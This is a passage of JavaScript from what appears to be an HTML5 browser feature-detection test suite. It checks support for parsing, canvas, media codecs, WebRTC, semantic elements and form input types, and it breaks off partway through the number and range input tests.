var blacklists = [];
function results (parent) { this.initialize(parent); }
results.prototype = {
initialize: function(parent) {
this.parent = parent;
this.items = [];
},
setItem: function(result) {
var i = new item(this, result);
this.items.push(i);
return i;
},
startBackground: function(key) {
this.parent.startBackground(key);
},
stopBackground: function(key) {
this.parent.stopBackground(key);
},
toString: function() {
var results = [];
for (var i = 0; i < this.items.length; i++) {
if (typeof this.items[i].data.passed != 'undefined') results.push(this.items[i].data.key + '=' + (+this.items[i].data.passed));
}
return results.join(',');
}
};
function item (parent, data) { this.initialize(parent, data); }
item.prototype = {
initialize: function(parent, data) {
this.parent = parent;
this.data = data;
if (typeof this.data.passed == 'undefined') this.data.passed = false;
if (this.data.passed) {
var blacklist = this.isOnBlacklist();
if (blacklist) {
this.data.passed = blacklist;
}
}
},
update: function(data) {
for (var key in data) {
this.data[key] = data[key];
}
if (typeof this.data.passed == 'undefined') this.data.passed = false;
if (this.data.passed) {
var blacklist = this.isOnBlacklist();
if (blacklist) {
this.data.passed = blacklist;
}
}
},
isOnBlacklist: function() {
var part = '';
var parts = this.data.key.split('.');
for (var i = 0; i < parts.length; i++) {
part += (i == 0 ? '' : '.') + parts[i];
for (var k = 0; k < blacklists.length; k++) {
if (typeof blacklists[k][1][part] != 'undefined') {
if (blacklists[k][1][part]) {
if (console && console.log) console.log('BLOCKED TEST: ' + part + '!');
return blacklists[k][0];
}
}
}
}
return false;
},
startBackground: function() {
this.parent.startBackground(this.data.key);
},
stopBackground: function() {
this.parent.stopBackground(this.data.key);
}
};
var isEventSupported = (function(){
var TAGNAMES = {
'select':'input','change':'input','input':'input',
'submit':'form','reset':'form','forminput':'form','formchange':'form',
'error':'img','load':'img','abort':'img'
}
function isEventSupported(eventName, element) {
element = element || document.createElement(TAGNAMES[eventName] || 'div');
eventName = 'on' + eventName;
var isSupported = (eventName in element);
if (!isSupported) {
if (!element.setAttribute) {
element = document.createElement('div');
}
if (element.setAttribute && element.removeAttribute) {
element.setAttribute(eventName, '');
isSupported = typeof element[eventName] == 'function';
if (typeof element[eventName] != 'undefined') {
element[eventName] = void 0;
}
element.removeAttribute(eventName);
}
}
element = null;
return isSupported;
}
return isEventSupported;
})();
var log = function(m){
if (console && console.log) {
console.log(m);
}
};
var canPlayType = function(element, type) {
/*
There is a bug in iOS 4.1 or earlier where probably and maybe are switched around.
This bug was reported and fixed in iOS 4.2
*/
if (Browsers.isOs('iOS', '<', '4.2'))
return element.canPlayType(type) == 'probably' || element.canPlayType(type) == 'maybe';
else
return element.canPlayType(type) == 'probably';
};
var closesImplicitly = function(name) {
var foo = document.createElement('div');
foo.innerHTML = '<p><' + name + '></' + name + '>';
return foo.childNodes.length == 2;
};
var getStyle = function(element, name) {
function camelCase(str){
return str.replace(/-\D/g, function(match){
return match.charAt(1).toUpperCase()
})
}
if (element.style[name]) {
return element.style[name];
} else if (element.currentStyle) {
return element.currentStyle[camelCase(name)];
}
else if (document.defaultView && document.defaultView.getComputedStyle) {
s = document.defaultView.getComputedStyle(element, "");
return s && s.getPropertyValue(name);
} else {
return null;
}
};
var isBlock = function(element) {
return getStyle(element, 'display') == 'block';
};
var isHidden = function(element) {
return getStyle(element, 'display') == 'none';
};
var testsuite = [
function(results) {
/* doctype */
results.setItem({
key: 'parsing-doctype',
passed: document.compatMode == 'CSS1Compat'
});
/* tokenizer */
var result = true;
var e = document.createElement('div');
try {
e.innerHTML = "<div<div>";
result &= e.firstChild && e.firstChild.nodeName == "DIV<DIV";
e.innerHTML = "<div foo<bar=''>";
result &= e.firstChild.attributes[0].nodeName == "foo<bar" || e.firstChild.attributes[0].name == "foo<bar";
e.innerHTML = "<div foo=`bar`>";
result &= e.firstChild.getAttribute("foo") == "`bar`";
e.innerHTML = "<div \"foo=''>";
result &= e.firstChild && (e.firstChild.attributes[0].nodeName == "\"foo" || e.firstChild.attributes[0].name == "\"foo");
e.innerHTML = "<a href='\nbar'></a>";
result &= e.firstChild && e.firstChild.getAttribute("href") == "\nbar";
e.innerHTML = "<!DOCTYPE html>";
result &= e.firstChild == null;
e.innerHTML = "\u000D";
result &= e.firstChild && e.firstChild.nodeValue == "\u000A";
e.innerHTML = "⟨⟩";
result &= e.firstChild.nodeValue == "\u27E8\u27E9";
e.innerHTML = "'";
result &= e.firstChild.nodeValue == "'";
e.innerHTML = "ⅈ";
result &= e.firstChild.nodeValue == "\u2148";
e.innerHTML = "𝕂";
result &= e.firstChild.nodeValue == "\uD835\uDD42";
e.innerHTML = "∉";
result &= e.firstChild.nodeValue == "\u2209";
e.innerHTML = '<?import namespace="foo" implementation="#bar">';
result &= e.firstChild && e.firstChild.nodeType == 8 && e.firstChild.nodeValue == '?import namespace="foo" implementation="#bar"';
e.innerHTML = '<!--foo--bar-->';
result &= e.firstChild && e.firstChild.nodeType == 8 && e.firstChild.nodeValue == 'foo--bar';
e.innerHTML = '<![CDATA[x]]>';
result &= e.firstChild && e.firstChild.nodeType == 8 && e.firstChild.nodeValue == '[CDATA[x]]';
e.innerHTML = "<textarea><!--</textarea>--></textarea>";
result &= e.firstChild && e.firstChild.firstChild && e.firstChild.firstChild.nodeValue == "<!--";
e.innerHTML = "<textarea><!--</textarea>-->";
result &= e.firstChild && e.firstChild.firstChild && e.firstChild.firstChild.nodeValue == "<!--";
e.innerHTML = "<style><!--</style>--></style>";
result &= e.firstChild && e.firstChild.firstChild && e.firstChild.firstChild.nodeValue == "<!--";
e.innerHTML = "<style><!--</style>-->";
result &= e.firstChild && e.firstChild.firstChild && e.firstChild.firstChild.nodeValue == "<!--";
} catch(e) {
result = false;
}
results.setItem({
key: 'parsing-tokenizer',
passed: result
});
/* tree builder */
var result = true;
var e = document.createElement('div');
try {
var h = document.createElement("html");
h.innerHTML = "";
result &= h.firstChild && h.firstChild.nodeName == "HEAD" && h.lastChild.nodeName == "BODY" && h.firstChild.nextSibling == h.lastChild;
} catch (e) {
result = false;
}
try {
var t = document.createElement("table");
t.innerHTML = "<col>";
result &= t.firstChild && t.firstChild.nodeName == "COLGROUP";
} catch (e) {
result = false;
}
e.innerHTML = "<ul><li>A </li> <li>B</li></ul>";
result &= e.firstChild && e.firstChild.firstChild && e.firstChild.firstChild.firstChild && e.firstChild.firstChild.firstChild.nodeValue == "A ";
e.innerHTML = "<table><form><input type=hidden><input></form><div></div></table>";
result &= e.firstChild &&
e.firstChild.nodeName == "INPUT" &&
e.firstChild.nextSibling &&
e.firstChild.nextSibling.nodeName == "DIV" &&
e.lastChild.nodeName == "TABLE" &&
e.firstChild.nextSibling.nextSibling == e.lastChild &&
e.lastChild.firstChild &&
e.lastChild.firstChild.nodeName == "FORM" &&
e.lastChild.firstChild.firstChild == null &&
e.lastChild.lastChild.nodeName == "INPUT" &&
e.lastChild.firstChild.nextSibling == e.lastChild.lastChild;
e.innerHTML = "<i>A<b>B<p></i>C</b>D";
result &= e.firstChild &&
e.childNodes.length == 3 &&
e.childNodes[0].nodeName == "I" &&
e.childNodes[0].childNodes.length == 2 &&
e.childNodes[0].childNodes[0].nodeValue == "A" &&
e.childNodes[0].childNodes[1].nodeName == "B" &&
e.childNodes[0].childNodes[1].childNodes.length == 1 &&
e.childNodes[0].childNodes[1].childNodes[0].nodeValue == "B" &&
e.childNodes[1].nodeName == "B" &&
e.childNodes[1].firstChild == null &&
e.childNodes[2].nodeName == "P" &&
e.childNodes[2].childNodes.length == 2 &&
e.childNodes[2].childNodes[0].nodeName == "B" &&
e.childNodes[2].childNodes[0].childNodes.length == 2 &&
e.childNodes[2].childNodes[0].childNodes[0].nodeName == "I" &&
e.childNodes[2].childNodes[0].childNodes[0].firstChild == null &&
e.childNodes[2].childNodes[0].childNodes[1].nodeValue == "C" &&
e.childNodes[2].childNodes[1].nodeValue == "D";
e.innerHTML = "<div></div>";
result &= e.firstChild && "namespaceURI" in e.firstChild && e.firstChild.namespaceURI == "http://www.w3.org/1999/xhtml";
results.setItem({
key: 'parsing-tree',
passed: result
});
/* svg in html */
var e = document.createElement('div');
e.innerHTML = '<svg></svg>';
var passed = e.firstChild && "namespaceURI" in e.firstChild && e.firstChild.namespaceURI == 'http://www.w3.org/2000/svg';
results.setItem({
key: 'parsing-svg',
passed: passed
});
/* svg in html */
var e = document.createElement('div');
e.innerHTML = '<math></math>';
var passed = e.firstChild && "namespaceURI" in e.firstChild && e.firstChild.namespaceURI == 'http://www.w3.org/1998/Math/MathML';
results.setItem({
key: 'parsing-mathml',
passed: passed
});
},
function(results) {
/* picture element */
results.setItem({
key: 'responsive-picture',
passed: 'HTMLPictureElement' in window
});
/* srcset attribute */
results.setItem({
key: 'responsive-srcset',
passed: 'srcset' in document.createElement('img')
});
/* sizes attribute */
results.setItem({
key: 'responsive-sizes',
passed: 'sizes' in document.createElement('img')
});
},
function(results) {
this.canvas = document.createElement('canvas');
/* canvas element and 2d context */
results.setItem({
key: 'canvas-context',
passed: !! (this.canvas.getContext && typeof CanvasRenderingContext2D != 'undefined' && this.canvas.getContext('2d') instanceof CanvasRenderingContext2D)
});
/* text support */
var passed = false;
if (this.canvas.getContext) {
try {
passed = typeof this.canvas.getContext('2d').fillText == 'function';
}
catch(e) {
}
}
results.setItem({
key: 'canvas-text',
passed: passed
});
/* path support */
results.setItem({
key: 'canvas-path',
passed: typeof Path2D != "undefined" ? YES : typeof Path != "undefined" ? YES | OLD : NO
});
/* ellipse support */
var passed = false;
if (this.canvas.getContext) {
try {
passed = typeof this.canvas.getContext('2d').ellipse != 'undefined';
}
catch(e) {
}
}
results.setItem({
key: 'canvas-ellipse',
passed: passed
});
/* dashed support */
var passed = false;
if (this.canvas.getContext) {
try {
passed = typeof this.canvas.getContext('2d').setLineDash != 'undefined';
}
catch(e) {
}
}
results.setItem({
key: 'canvas-dashed',
passed: passed
});
/* focusring support */
var passed = false;
if (this.canvas.getContext) {
try {
passed = typeof this.canvas.getContext('2d').drawFocusIfNeeded != 'undefined';
}
catch(e) {
}
}
results.setItem({
key: 'canvas-focusring',
passed: passed
});
/* hittest support */
var passed = false;
if (this.canvas.getContext) {
try {
passed = typeof this.canvas.getContext('2d').addHitRegion != 'undefined';
}
catch(e) {
}
}
results.setItem({
key: 'canvas-hittest',
passed: passed
});
/* blending support */
var passed = false;
if (this.canvas.getContext) {
this.canvas.width = 1;
this.canvas.height = 1;
try {
var ctx = this.canvas.getContext('2d');
ctx.fillStyle = '#fff';
ctx.fillRect(0,0,1,1);
ctx.globalCompositeOperation = 'screen';
ctx.fillStyle = '#000';
ctx.fillRect(0,0,1,1);
var data = ctx.getImageData(0,0,1,1);
passed = ctx.globalCompositeOperation == 'screen' && data.data[0] == 255;
}
catch(e) {
}
}
results.setItem({
key: 'canvas-blending',
passed: passed
});
/* export to png */
var passed = false;
if (this.canvas.getContext) {
try {
passed = this.canvas.toDataURL('image/png').substring(5,14) == 'image/png';
}
catch(e) {
}
}
results.setItem({
key: 'canvas-png',
passed: passed
});
/* export to jpeg */
var passed = false;
if (this.canvas.getContext) {
try {
passed = this.canvas.toDataURL('image/jpeg').substring(5,15) == 'image/jpeg';
}
catch(e) {
}
}
results.setItem({
key: 'canvas-jpeg',
passed: passed
});
/* export to jpeg xr */
var passed = false;
if (this.canvas.getContext) {
try {
passed = this.canvas.toDataURL('image/vnd.ms-photo').substring(5,23) == 'image/vnd.ms-photo';
}
catch(e) {
}
}
results.setItem({
key: 'canvas-jpegxr',
passed: passed
});
/* export to webp */
var passed = false;
if (this.canvas.getContext) {
try {
passed = this.canvas.toDataURL('image/webp').substring(5,15) == 'image/webp';
}
catch(e) {
}
}
results.setItem({
key: 'canvas-webp',
passed: passed
});
},
function(results) {
this.element = document.createElement('video');
/* video element */
results.setItem({
key: 'video-element',
passed: !!this.element.canPlayType
});
/* audioTracks property */
results.setItem({
key: 'video-audiotracks',
passed: 'audioTracks' in this.element
});
/* videoTracks property */
results.setItem({
key: 'video-videotracks',
passed: 'videoTracks' in this.element
});
/* subtitles */
results.setItem({
key: 'video-subtitle',
passed: 'track' in document.createElement('track')
});
/* poster */
results.setItem({
key: 'video-poster',
passed: 'poster' in this.element
});
/* drm */
results.setItem({
key: 'video-drm',
passed: 'setMediaKeys' in this.element ? YES : 'webkitAddKey' in this.element || 'webkitSetMediaKeys' in this.element || 'mozSetMediaKeys' in this.element || 'msSetMediaKeys' in this.element ? YES | PREFIX : NO
});
/* mediasource */
results.setItem({
key: 'video-mediasource',
passed: 'MediaSource' in window ? YES : 'WebKitMediaSource' in window || 'mozMediaSource' in window || 'msMediaSource' in window ? YES | PREFIX : NO
});
/* recorder */
results.setItem({
key: 'video-recorder',
passed: 'MediaRecorder' in window
});
/* mpeg-4 codec */
results.setItem({
key: 'video-mpeg4',
passed: !!this.element.canPlayType && canPlayType(this.element, 'video/mp4; codecs="mp4v.20.8"')
});
/* h.264 codec */
/* I added a workaround for IE9, which only detects H.264 if you also provide an audio codec. Bug filed @ connect.microsoft.com */
results.setItem({
key: 'video-h264',
passed: !!this.element.canPlayType && (canPlayType(this.element, 'video/mp4; codecs="avc1.42E01E"') || canPlayType(this.element, 'video/mp4; codecs="avc1.42E01E, mp4a.40.2"'))
});
/* h.265 codec */
results.setItem({
key: 'video-h265',
passed: !!this.element.canPlayType && (canPlayType(this.element, 'video/mp4; codecs="hvc1.1.L0.0"') || canPlayType(this.element, 'video/mp4; codecs="hev1.1.L0.0"'))
});
/* theora codec */
results.setItem({
key: 'video-theora',
passed: !!this.element.canPlayType && canPlayType(this.element, 'video/ogg; codecs="theora"')
});
/* vp8 in webm codec */
results.setItem({
key: 'video-webmvp8',
passed: !!this.element.canPlayType && canPlayType(this.element, 'video/webm; codecs="vp8"')
});
/* vp9 in webm codec */
results.setItem({
key: 'video-webmvp9',
passed: !!this.element.canPlayType && canPlayType(this.element, 'video/webm; codecs="vp9"')
});
/* does codec detection work properly? */
var passed = true;
if (!!this.element.canPlayType) {
if (this.element.canPlayType('video/nonsense') == 'no') {
passed = false;
log('Codec detection is buggy: known bug in Firefox 3.5.0 - 3.5.1 and Safari 4.0.0 - 4.0.4 that answer "no" to unknown codecs instead of an empty string')
}
if (this.element.canPlayType('video/webm') == 'probably') {
passed = false;
log('Codec detection is buggy: known bug that Firefox 27 and earlier always says "probably" when asked about WebM, even when the codecs string is not present')
}
if (this.element.canPlayType('video/mp4; codecs="avc1.42E01E"') == 'maybe' && this.element.canPlayType('video/mp4') == 'probably') {
passed = false;
log('Codec detection is buggy: known bug in iOS 4.1 and earlier that switches "maybe" and "probably" around')
}
if (this.element.canPlayType('video/mp4; codecs="avc1.42E01E"') == 'maybe' && this.element.canPlayType('video/mp4') == 'maybe') {
passed = false;
log('Codec detection is buggy: known bug in Android where no better answer than "maybe" is given')
}
if (this.element.canPlayType('video/mp4; codecs="avc1.42E01E, mp4a.40.2"') == 'probably' && this.element.canPlayType('video/mp4; codecs="avc1.42E01E"') != 'probably') {
passed = false;
log('Codec detection is buggy: known bug in Internet Explorer 9 that requires both audio and video codec on test')
}
}
results.setItem({
key: 'video-canplaytype',
passed: this.element.canPlayType ? (passed ? YES : YES | BUGGY) : NO
});
},
function(results) {
this.element = document.createElement('audio');
/* video element */
results.setItem({
key: 'audio-element',
passed: !!this.element.canPlayType
});
/* loop property */
results.setItem({
key: 'audio-loop',
passed: 'loop' in this.element
});
/* preload property */
results.setItem({
key: 'audio-preload',
passed: 'preload' in this.element
});
/* pcm codec */
results.setItem({
key: 'audio-pcm',
passed: !!this.element.canPlayType && canPlayType(this.element, 'audio/wav; codecs="1"')
});
/* mp3 codec */
var r = false;
if (this.element.canPlayType) {
var t = this.element.canPlayType('audio/mpeg');
if (t == 'maybe') {
// We need to check if the browser really supports playing MP3s by loading one and seeing if the
// loadedmetadata event is triggered... but for now assume it does support it...
r = true;
} else if (t == 'probably') {
r = true;
}
}
results.setItem({
key: 'audio-mp3',
passed: r
});
/* aac codec */
results.setItem({
key: 'audio-aac',
passed: !!this.element.canPlayType && canPlayType(this.element, 'audio/mp4; codecs="mp4a.40.2"')
});
/* ac3 codec */
results.setItem({
key: 'audio-ac3',
passed: !!this.element.canPlayType && canPlayType(this.element, 'audio/mp4; codecs="ac-3"')
});
/* enhanced ac3 codec */
results.setItem({
key: 'audio-ec3',
passed: !!this.element.canPlayType && canPlayType(this.element, 'audio/mp4; codecs="ec-3"')
});
/* ogg vorbis codec */
results.setItem({
key: 'audio-vorbis',
passed: !!this.element.canPlayType && canPlayType(this.element, 'audio/ogg; codecs="vorbis"')
});
/* ogg opus codec */
results.setItem({
key: 'audio-opus',
passed: !!this.element.canPlayType && canPlayType(this.element, 'audio/ogg; codecs="opus"')
});
/* webm vorbis codec */
results.setItem({
key: 'audio-webm',
passed: !!this.element.canPlayType && canPlayType(this.element, 'audio/webm; codecs="vorbis"')
});
/* webm opus codec */
results.setItem({
key: 'audio-webmopus',
passed: !!this.element.canPlayType && canPlayType(this.element, 'audio/webm; codecs="opus"')
});
/* webaudio */
results.setItem({
key: 'audio-webaudio',
passed: 'AudioContext' in window ? YES : 'webkitAudioContext' in window || 'mozAudioContext' in window || 'oAudioContext' in window || 'msAudioContext' in window ? YES | PREFIX : NO
});
/* speech recognition */
results.setItem({
key: 'audio-speechrecognition',
passed: 'SpeechRecognition' in window ? YES : 'webkitSpeechRecognition' in window || 'mozSpeechRecognition' in window || 'oSpeechRecognition' in window || 'msSpeechRecognition' in window ? YES | PREFIX : NO
});
/* speech synthesis */
var speechSynthesis = window.speechSynthesis || window.webkitSpeechSynthesis || window.mozSpeechSynthesis || window.oSpeechSynthesis || window.msSpeechSynthesis;
var available = 'speechSynthesis' in window ? YES : 'webkitSpeechSynthesis' in window || 'mozSpeechSynthesis' in window || 'oSpeechSynthesis' in window || 'msSpeechSynthesis' in window ? YES | PREFIX : NO;
var voices = speechSynthesis ? speechSynthesis.getVoices().length : 0;
var speechItem = results.setItem({
key: 'audio-speechsynthesis',
passed: speechSynthesis && voices ? available : NO
});
if (speechSynthesis && !voices) {
if (speechSynthesis.addEventListener) {
speechItem.startBackground();
speechSynthesis.addEventListener("voiceschanged", function() {
voices = speechSynthesis.getVoices().length;
speechItem.update({
passed: voices ? available : NO,
});
speechItem.stopBackground();
});
window.setTimeout(function() {
speechItem.stopBackground();
}, 1000);
}
}
},
function(results) {
/* webrtc */
results.setItem({
key: 'webrtc-webrtc',
passed: !!window.RTCPeerConnection ? YES : !!window.webkitRTCPeerConnection || !!window.mozRTCPeerConnection || !!window.msRTCPeerConnection || !!window.oRTCPeerConnection ? YES | PREFIX : NO
});
/* objectrtc */
results.setItem({
key: 'webrtc-objectrtc',
passed: !!window.RTCIceTransport ? YES : !!window.webkitRTCIceTransport || !!window.mozRTCIceTransport || !!window.msRTCIceTransport || !!window.oRTCIceTransport ? YES | PREFIX : NO
});
/* datachannel */
var passed = false;
try {
o = new (window.RTCPeerConnection || window.msRTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection)(null);
passed = 'createDataChannel' in o;
}
catch(e) {
}
results.setItem({
key: 'webrtc-datachannel',
passed: passed ? (window.RTCPeerConnection ? YES : YES | PREFIX) : NO
});
},
function(results) {
/* getUserMedia */
results.setItem({
key: 'input-getUserMedia',
passed: !!navigator.mediaDevices && !!navigator.mediaDevices.getUserMedia ? YES : !!navigator.getUserMedia ? YES | OLD : !!navigator.webkitGetUserMedia || !!navigator.mozGetUserMedia || !!navigator.msGetUserMedia || !!navigator.oGetUserMedia ? YES | PREFIX : NO
});
/* getGamepads */
results.setItem({
key: 'input-getGamepads',
passed: !!navigator.getGamepads ? YES : !!navigator.webkitGetGamepads || !!navigator.mozGetGamepads || !!navigator.msGetGamepads || !!navigator.oGetGamepads ? YES | PREFIX : NO
});
/* pointerLock */
results.setItem({
key: 'input-pointerLock',
passed: 'pointerLockElement' in document ? YES : 'oPointerLockElement' in document || 'msPointerLockElement' in document || 'mozPointerLockElement' in document || 'webkitPointerLockElement' in document ? YES | PREFIX : NO
});
/* pointerevents */
results.setItem({
key: 'input-pointerevents',
passed: !!window.PointerEvent ? YES : !!window.webkitPointerEvent || !!window.mozPointerEvent || !!window.msPointerEvent || !!window.oPointerEvent ? YES | PREFIX : NO
});
},
function(results) {
/* dataset */
var element = document.createElement('div');
element.setAttribute('data-test', 'test');
results.setItem({
key: 'elements-dataset',
passed: 'dataset' in element
});
/* section, nav, article, header and footer */
var elements = 'section nav article aside header footer'.split(' ');
for (var e = 0; e < elements.length; e++) {
var passed = false;
try {
var element = document.createElement(elements[e]);
document.body.appendChild(element);
try {
passed = element instanceof HTMLElement && !(element instanceof HTMLUnknownElement) && isBlock(element) && closesImplicitly(elements[e]);
} catch(error) {
}
document.body.removeChild(element);
} catch(error) {
}
results.setItem({
key: 'elements-section-' + elements[e],
passed: passed,
value: 1
});
}
/* main, figure and figcaption */
var elements = 'main figure figcaption'.split(' ');
for (var e = 0; e < elements.length; e++) {
var passed = false;
try {
var element = document.createElement(elements[e]);
document.body.appendChild(element);
try {
passed = element instanceof HTMLElement && !(element instanceof HTMLUnknownElement) && isBlock(element) && (elements[e] != 'figure' || closesImplicitly(elements[e]));
} catch(error) {
}
document.body.removeChild(element);
} catch(error) {
}
results.setItem({
key: 'elements-grouping-' + elements[e],
passed: passed
});
}
/* ol grouping */
results.setItem({
key: 'elements-grouping-ol',
passed: 'reversed' in document.createElement('ol')
});
/* a download */
results.setItem({
key: 'elements-semantic-download',
passed: 'download' in document.createElement('a')
});
/* a ping */
results.setItem({
key: 'elements-semantic-ping',
passed: 'ping' in document.createElement('a')
});
/* mark element */
var passed = false;
try {
var element = document.createElement('mark');
document.body.appendChild(element);
try {
passed = element instanceof HTMLElement && !(element instanceof HTMLUnknownElement) && (color = getStyle(element, 'background-color')) && (color != 'transparent');
} catch(error) {
}
document.body.removeChild(element);
} catch(error) {
}
results.setItem({
key: 'elements-semantic-mark',
passed: passed
});
/* ruby, rt, rp element */
var container = document.createElement('div');
document.body.appendChild(container);
container.innerHTML = "<ruby id='ruby'><rp id='rp'></rp><rt id='rt'></rt></ruby>";
var rubyElement = document.getElementById('ruby');
var rtElement = document.getElementById('rt');
var rpElement = document.getElementById('rp');
var rubySupport = false;
var rtSupport = false;
var rpSupport = false;
try {
rubySupport = rubyElement && rubyElement instanceof HTMLElement && !(element instanceof HTMLUnknownElement);
rtSupport = rtElement && rtElement instanceof HTMLElement && !(element instanceof HTMLUnknownElement);
rpSupport = rpElement && rpElement instanceof HTMLElement && !(element instanceof HTMLUnknownElement) && isHidden(rpElement);
} catch(error) {
}
document.body.removeChild(container);
results.setItem({
key: 'elements-semantic-ruby',
passed: rubySupport && rtSupport && rpSupport
});
/* time element */
var passed = false;
try {
var element = document.createElement('time');
try {
passed = typeof HTMLTimeElement != 'undefined' && element instanceof HTMLTimeElement;
} catch(error) {
}
} catch(error) {
}
results.setItem({
key: 'elements-semantic-time',
passed: passed
});
/* data element */
var passed = false;
try {
var element = document.createElement('data');
try {
passed = typeof HTMLDataElement != 'undefined' && element instanceof HTMLDataElement;
} catch(error) {
}
} catch(error) {
}
results.setItem({
key: 'elements-semantic-data',
passed: passed
});
/* wbr element */
var passed = false;
try {
var element = document.createElement('wbr');
try {
passed = element instanceof HTMLElement && !(element instanceof HTMLUnknownElement);
} catch(error) {
}
} catch(error) {
}
results.setItem({
key: 'elements-semantic-wbr',
passed: passed
});
/* details element */
var passed = false;
try {
var element = document.createElement('details');
element.innerHTML = '<summary>a</summary>b';
document.body.appendChild(element);
var height = element.offsetHeight;
element.open = true;
passed = height != element.offsetHeight;
document.body.removeChild(element);
} catch(error) {
}
results.setItem({
key: 'elements-interactive-details',
passed: passed
});
/* summary element */
var passed = false;
try {
var element = document.createElement('summary');
document.body.appendChild(element);
try {
passed = element instanceof HTMLElement && !(element instanceof HTMLUnknownElement);
} catch(error) {
}
document.body.removeChild(element);
} catch(error) {
}
results.setItem({
key: 'elements-interactive-summary',
passed: passed
});
/* menu toolbar */
var passed = legacy = false;
try {
var element = document.createElement('menu');
document.body.appendChild(element);
try {
legacy = typeof HTMLMenuElement != 'undefined' && element instanceof HTMLMenuElement && 'type' in element;
} catch(error) {
}
// Check default type
if (legacy && element.type != 'list') legacy = false;
// Check type sanitization
try {
element.type = 'foobar';
} catch(error) {
}
if (legacy && element.type == 'foobar') legacy = false;
// Check if correct type sticks
try {
element.type = 'list';
} catch(error) {
legacy = false;
}
if (legacy && element.type != 'list') legacy = false;
document.body.removeChild(element);
} catch(error) {
}
try {
var element = document.createElement('menu');
document.body.appendChild(element);
try {
passed = typeof HTMLMenuElement != 'undefined' && element instanceof HTMLMenuElement && 'type' in element;
} catch(error) {
}
// Check default type
if (passed && element.type != 'toolbar') passed = false;
// Check type sanitization
try {
element.type = 'foobar';
} catch(error) {
}
if (passed && element.type == 'foobar') passed = false;
// Check if correct type sticks
try {
element.type = 'toolbar';
} catch(error) {
passed = false;
}
if (passed && element.type != 'toolbar') passed = false;
document.body.removeChild(element);
} catch(error) {
}
results.setItem({
key: 'elements-interactive-menutoolbar',
passed: passed ? YES : legacy ? YES | OLD : NO
});
/* menu popup */
var passed = legacy = false;
try {
var element = document.createElement('menu');
document.body.appendChild(element);
try {
legacy = typeof HTMLMenuElement != 'undefined' && element instanceof HTMLMenuElement && 'type' in element;
} catch(error) {
}
// Check if correct type sticks
try {
element.type = 'context';
} catch(error) {
legacy = false;
}
if (legacy && element.type != 'context') legacy = false;
if (legacy) {
var item = document.createElement('menuitem');
element.appendChild(item);
if (typeof HTMLMenuItemElement == 'undefined' || ! item instanceof HTMLMenuItemElement) legacy = false;
}
document.body.removeChild(element);
} catch(error) {
}
try {
var element = document.createElement('menu');
document.body.appendChild(element);
try {
passed = typeof HTMLMenuElement != 'undefined' && element instanceof HTMLMenuElement && 'type' in element;
} catch(error) {
}
try {
element.type = 'popup';
} catch(error) {
}
// Check default type
var second = document.createElement('menu');
element.appendChild(second);
if (passed && second.type != 'popup') passed = false;
element.removeChild(second);
// Check type sanitization
try {
element.type = 'foobar';
} catch(error) {
}
if (passed && element.type == 'foobar') passed = false;
// Check if correct type sticks
try {
element.type = 'popup';
} catch(error) {
passed = false;
}
if (passed && element.type != 'popup') passed = false;
if (passed) {
var item = document.createElement('menuitem');
element.appendChild(item);
if (typeof HTMLMenuItemElement == 'undefined' || ! item instanceof HTMLMenuItemElement) passed = false;
}
document.body.removeChild(element);
} catch(error) {
}
results.setItem({
key: 'elements-interactive-menupopup',
passed: passed ? YES : legacy ? YES | OLD : NO
});
/* dialog element */
var passed = false;
try {
var element = document.createElement('dialog');
try {
passed = typeof HTMLDialogElement != 'undefined' && element instanceof HTMLDialogElement;
} catch(error) {
}
} catch(error) {
}
results.setItem({
key: 'elements-interactive-dialog',
passed: passed
});
/* hidden attribute */
results.setItem({
key: 'elements-hidden',
passed: 'hidden' in document.createElement('div')
});
/* outerHTML property */
results.setItem({
key: 'elements-dynamic-outerHTML',
passed: 'outerHTML' in document.createElement('div')
});
/* insertAdjacentHTML property */
results.setItem({
key: 'elements-dynamic-insertAdjacentHTML',
passed: 'insertAdjacentHTML' in document.createElement('div')
});
},
function(results) {
function createInput(type) {
var field = document.createElement('input');
try {
field.setAttribute('type', type);
} catch(e) {
}
return field;
}
/* input type=text */
var element = createInput('text');
results.setItem({
key: 'form-text-element',
passed: element.type == 'text'
});
results.setItem({
key: 'form-text-selection',
passed: 'selectionDirection' in element
});
/* input type=search */
var element = createInput('search');
results.setItem({
key: 'form-search-element',
passed: element.type == 'search'
});
/* input type=tel */
var element = createInput('tel');
results.setItem({
key: 'form-tel-element',
passed: element.type == 'tel'
});
/* input type=url */
var element = createInput('url');
var validation = false;
if ('validity' in element) {
validation = true;
element.value = "foo";
validation &= !element.validity.valid
element.value = "http://foo.org";
validation &= element.validity.valid
}
results.setItem({
key: 'form-url-element',
passed: element.type == 'url'
});
results.setItem({
key: 'form-url-validation',
passed: validation
});
/* input type=email */
var element = createInput('email');
var validation = false;
if ('validity' in element) {
validation = true;
element.value = "foo";
validation &= !element.validity.valid
element.value = "[email protected]";
validation &= element.validity.valid
}
results.setItem({
key: 'form-email-element',
passed: element.type == 'email'
});
results.setItem({
key: 'form-email-validation',
passed: validation
});
/* input type=date, month, week, time, datetime and datetime-local */
var types = ['date', 'month', 'week', 'time', 'datetime', 'datetime-local'];
for (var t = 0; t < types.length; t++) {
var element = createInput(types[t]);
element.value = "foobar";
var sanitization = element.value == '';
var minimal = element.type == types[t];
results.setItem({
key: 'form-' + types[t] + '-element',
passed: minimal
});
results.setItem({
key: 'form-' + types[t] + '-ui',
passed: minimal && sanitization, // Testing UI reliably is not possible, so we assume if sanitization is support we also have a UI and use the blacklist to make corrections
});
results.setItem({
key: 'form-' + types[t] + '-sanitization',
passed: minimal && sanitization
});
results.setItem({
key: 'form-' + types[t] + '-min',
passed: minimal && 'min' in element
});
results.setItem({
key: 'form-' + types[t] + '-max',
passed: minimal && 'max' in element
});
results.setItem({
key: 'form-' + types[t] + '-step',
passed: minimal && 'step' in element
});
results.setItem({
key: 'form-' + types[t] + '-stepDown',
passed: minimal && 'stepDown' in element
});
results.setItem({
key: 'form-' + types[t] + '-stepUp',
passed: minimal && 'stepUp' in element
});
if (t != 'datetime-local' && t != 'datetime') {
results.setItem({
key: 'form-' + types[t] + '-valueAsDate',
passed: minimal && 'valueAsDate' in element
});
}
results.setItem({
key: 'form-' + types[t] + '-valueAsNumber',
passed: minimal && 'valueAsNumber' in element
});
}
/* input type=number, range */
var types = ['number', 'range'];
for (var t = 0; t < types.length; t++) {
var element = createInput(types[t]);
element.value = "foobar";
var sanitization = element.value != 'foobar';
var validation = false;
if ('validity' in element) {
validation = true;
element.min = 40;
element.max = 50;
element.value = 100;
validation &= !element.validity.valid
element.value = 42;
